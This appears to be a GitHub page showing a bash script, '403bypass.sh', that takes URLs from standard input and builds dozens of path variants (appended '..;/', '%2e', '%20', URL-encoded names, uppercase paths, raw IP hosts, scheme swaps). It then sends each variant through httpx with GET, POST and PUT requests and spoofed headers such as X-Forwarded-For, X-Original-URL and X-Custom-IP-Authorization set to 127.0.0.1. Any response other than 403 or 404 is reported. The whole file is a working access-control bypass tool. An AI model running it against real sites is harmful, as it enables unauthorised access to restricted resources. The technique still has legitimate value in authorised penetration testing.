-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path403bypass.sh
203 lines (161 loc) · 9.54 KB
/
403bypass.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
#!/bin/bash
#if [ -z $1 ]; then echo "Usage: bypass4xx [URL]"; exit; fi
urls=$(cat -)
if [ -f 4xxpayloads ]; then rm 4xxpayloads; fi
for url in $urls
do
echo "_> Doing $url"
base=$(echo "$(echo "$url" | cut -d/ -f1,2,3)")
path=$(echo "/$(echo "$url" | cut -d/ -f4-)") #| sed 's/\/$//g')
ips=$(dig "$(echo "$base" | cut -d/ -f 3)" +short)
payloads=("$url")
filename=$(echo $url | grep -oP "[^/]+/?$" | grep -Po "^[^/]+")
fileurlenc=$(printf $filename | od -An -tx1 -v -w | tr ' ' % | sed 's/%0a//g')
filename1st=$(printf $url | grep -oP "[^/]+/?$" | grep -oP ^.)
fileurlenc1st=$(printf $filename1st | grep -oP "[^/]+/?$" | grep -oP ^. | od -An -tx1 -v -w | tr ' ' % | sed 's/%0a//g')
# only the base
#payloads+=($base)
if [[ "$path" =~ "/"$ ]]
then
# /api => /api/.
payloads+=("$base$(echo $path | awk '{print $0"."}')")
# /api => /api/./
payloads+=("$base$(echo $path | awk '{print $0"./"}')")
# /api => /api/*
payloads+=("$base$(echo $path | awk '{print $0"*"}')")
# /api => /api..;/
payloads+=("$base$(echo $path | sed 's/\/$/\.\.;\//g')")
# /api => /api;/
payloads+=("$base$(echo $path | sed 's/\/$/;\//g')")
# /api => /api/%20
payloads+=("$base$(echo $path | awk '{print $0"%20"}')")
# /api => /api/%2e
payloads+=("$base$(echo $path | awk '{print $0"%2e"}')")
# /api => /api/~
payloads+=("$base$(echo $path | awk '{print $0"~"}')")
# /api => /api/%09
payloads+=("$base$(echo $path | awk '{print $0"%09"}')")
# /api => /api/.json
payloads+=("$base$(echo $path | awk '{print $0"/.json"}')")
else
# /api => /api/.
payloads+=("$base$(echo $path | awk '{print $0"/."}')")
# /api => /api/./
payloads+=("$base$(echo $path | awk '{print $0"/./"}')")
# /api => /api/*
payloads+=("$base$(echo $path | awk '{print $0"/*"}')")
# /api => /api..;/
payloads+=("$base$(echo $path | awk '{print $0"..;/"}')")
# /api => /api;/
payloads+=("$base$(echo $path | awk '{print $0";/"}')")
# /api => /api/%20
payloads+=("$base$(echo $path | awk '{print $0"/%20"}')")
# /api => /api/%2e
payloads+=("$base$(echo $path | awk '{print $0"/%2e"}')")
# /api = /api/~
payloads+=("$base$(echo $path | awk '{print $0"/~"}')")
# /api => /api/%09
payloads+=("$base$(echo $path | awk '{print $0"/%09"}')")
# /api => /api/.json
payloads+=("$base$(echo $path | awk '{print $0"/.json"}')")
fi
# /api => /%61%70%69
payloads+=("$base$(echo $path | sed "s/$filename/$fileurlenc/g")")
# /api => /%61pi
payloads+=("$base$(echo $path | sed "s/\(.*\)\/$filename1st/\1\/$fileurlenc1st/")")
# /api => /api.json
payloads+=("$base$(echo $path | awk '{print $0".json"}')")
# /api => https://IP/api
payloads+=($(echo $ips | grep -oP "[0-9]{2,}\.[0-9]{2,}\.[0-9]{2,}\.[0-9]{2,}" | httpx -silent | awk -v var=$path '{print $0var}'))
# /api => /.;/api
payloads+=("$base$(echo "/.;$path")")
# /api => /api#
payloads+=("$base$(echo $path | awk '{print $0"#"}')")
# /api => /api?params
payloads+=("$base$(echo $path | awk '{print $0"?gg"}')")
# /api => /%20/api
payloads+=("$base$(echo $path | sed 's/\//\/%20\//g')")
# /api => /%2e/api
payloads+=("$base$(echo $path | sed 's/\//\/%2e\//g')")
# /api => /API
payloads+=("$base$(echo $path | awk '{print toupper($0)}')")
# /api => /./api
payloads+=("$base$(echo $path | sed 's#/#/./#1')")
# /api => //api
payloads+=("$base$(echo $path | sed 's/\//\/\//g')")
# https => http
# http => https
if [ $(echo "$url" | grep https | wc -l) -gt 0 ]; then
payloads+=("$(echo $url | sed 's/https/http/g')")
else
payloads+=("$(echo $url | sed 's/http/https/g')")
fi
echo ${payloads[*]} | tr ' ' '\n' >> 4xxpayloads
done
echo -e "\n[GET] Header: X-Forwarded-For"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Forwarded-For: 127.0.0.1" | grep -v "403\|404"
echo -e "\n[GET] Header: X-Forwarded-Host"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Forwarded-Host: 127.0.0.1" | grep -v "403\|404"
echo -e "\n[ET] Header: X-Custom-IP-Authorization"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Custom-IP-Authorization: 127.0.0.1" | grep -v "403\|404"
echo -e "\n[GET] Header: X-Custom-IP-Authorization+..;/"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Custom-IP-Authorization+..;/: 127.0.0.1" | grep -v "403\|404"
echo -e "\n[GET] Header: X-Original-URL"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Original-URL: 127.0.0.1" | grep -v "403\|404"
echo -e "\n[GET] Header: X-Rewrite-URL"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Rewrite-URL: 127.0.0.1" | grep -v "403\|404"
echo -e "\n[GET] Header: X-Originating-IP"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Originating-IP: 127.0.0.1" | grep -v "403\|404"
echo -e "\n[GET] Header: X-Remote-IP"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Remote-IP: 127.0.0.1" | grep -v "403\|404"
echo -e "\n[GET] Header: X-Client-IP"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Client-IP: 127.0.0.1" | grep -v "403\|404"
echo -e "\n[GET] Header: X-Host"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Host: 127.0.0.1" | grep -v "403\|404"
echo -e "\n[GET] Header: X-Remote-Addr"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Remote-Addr: 127.0.0.1" | grep -v "403\|404"
echo -e "\n[POST] Header: X-Forwarded-For"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Forwarded-For: 127.0.0.1" -H "Content-length: 0" -x POST |grep -v "403\|404"
echo -e "\n[POST] Header: X-Forwarded-Host"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Forwarded-Host: 127.0.0.1" -H "Content-length: 0" -x POST | grep -v "403\|404"
echo -e "\n[POST] Header: X-Custom-IP-Authorization"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Custom-IP-Authorization: 127.0.0.1" -H "Content-length: 0" -x POST | grep -v "403\|404"
echo -e "\n[POST] Header: X-Custom-IP-Authorization+..;/"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Custom-IP-Authorization+..;/: 127.0.0.1" -H "Content-length: 0" -x POST | grep -v "403\|404"
echo -e "\n[POST] Header: X-Original-URL"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Original-URL: 127.0.0.1" -H "Content-length: 0" -x POST | grep -v "403\|404"
echo -e "\n[POST] Header: X-Rewrite-URL"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Rewrite-URL: 127.0.0.1" -H "Content-length: 0" -x POST | grep -v "403\|404"
echo -e "\n[POST] Header: X-Originating-IP"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Originating-IP: 127.0.0.1" -H "Content-length: 0" -x POST | grep -v "403\|404"
echo -e "\n[POST] Header: X-Remote-IP"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Remote-IP: 127.0.0.1" -H "Content-length: 0" -x POST | grep -v "403\|404"
echo -e "\n[POST] Header: X-Client-IP"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Client-IP: 127.0.0.1" -H "Content-length: 0" -x POST | grep -v "403\|404"
echo -e "\n[POST] Header: X-Host"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Host: 127.0.0.1" -H "Content-length: 0" -x POST | grep -v "403\|404"
echo -e "\n[POST] Header: X-Remote-Addr"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Remote-Addr: 127.0.0.1" -H "Content-length: 0" -x POST | grep -v "403\|404"
echo -e "\n[PUT] Header: X-Forwarded-For"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Forwarded-For: 127.0.0.1" -H "Content-length: 0" -x PUT | grep -v "403\|404"
echo -e "\n[PUT] Header: X-Forwarded-Host"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Forwarded-Host: 127.0.0.1" -H "Content-length: 0" -x PUT | grep -v "403\|404"
echo -e "\n[PUT] Header: X-Custom-IP-Authorization"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Custom-IP-Authorization: 127.0.0.1" -H "Content-length: 0" -x PUT | grep -v "403\|404"
echo -e "\n[PUT] Header: X-Custom-IP-Authorization+..;/"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Custom-IP-Authorization+..;/: 127.0.0.1" -H "Content-length: 0" -x PUT | grep -v "403\|404"
echo -e "\n[PUT] Header: X-Original-URL"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Original-URL: 127.0.0.1" -H "Content-length: 0" -x PUT | grep -v "403\|404"
echo -e "\n[PUT] Header: X-Rewrite-URL"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Rewrite-URL: 127.0.0.1" -H "Content-length: 0" -x PUT | grep -v "403\|404"
echo -e "\n[PUT] Header: X-Originating-IP"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Originating-IP: 127.0.0.1" -H "Content-length: 0" -x PUT | grep -v "403\|404"
echo -e "\n[PUT] Header: X-Remote-IP"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Remote-IP: 127.0.0.1" -H "Content-length: 0" -x PUT | grep -v "403\|404"
echo -e "\n[PUT] Header: X-Client-IP"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Client-IP: 127.0.0.1" -H "Content-length: 0" -x PUT | grep -v "403\|404"
echo -e "\n[PUT] Header: X-Host"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Host: 127.0.0.1" -H "Content-length: 0" -x PUT | grep -v "403\|404"
echo -e "\n[PUT] Header: X-Remote-Addr"
cat 4xxpayloads | httpx -silent -status-code -content-length -H "X-Remote-Addr: 127.0.0.1" -H "Content-length: 0" -x PUT | grep -v "403\|404"
rm 4xxpayloads